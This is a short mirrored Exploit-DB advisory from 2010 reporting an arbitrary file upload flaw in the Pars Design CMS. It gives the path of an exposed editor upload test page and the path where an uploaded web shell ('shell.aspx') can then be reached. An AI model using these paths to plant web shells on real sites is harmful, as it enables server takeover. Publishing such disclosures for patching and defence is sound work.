Pars Design CMS – Arbitrary File Upload - 体验盒子

作者： Securitylab.ir

日期： 2010-06-10

类别：

webapps

平台：

asp

来源：https://www.exploit-db.com/exploits/13814/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

#################################################################

# Securitylab.ir

#################################################################

# Application Info:

# Name: Pars Design

# Vendor: http://Parsdata.com

#################################################################

# Vulnerability Info:

# Type: Remote Arbitrary File Upload

# Risk: High

#################################################################

Vulnerability:

http://site.ir/editorv2/editor/filemanager/upload/test.html

Uploaded Here:

http://site.ir//UserFiles/shell.aspx

#################################################################

# Discoverd By: Securitylab.ir

# Website: http://Securitylab.ir

# Contacts: info[AT]Securitylab[Dot]ir,whh_iran[AT]yahoo[DOT]com

###################################################################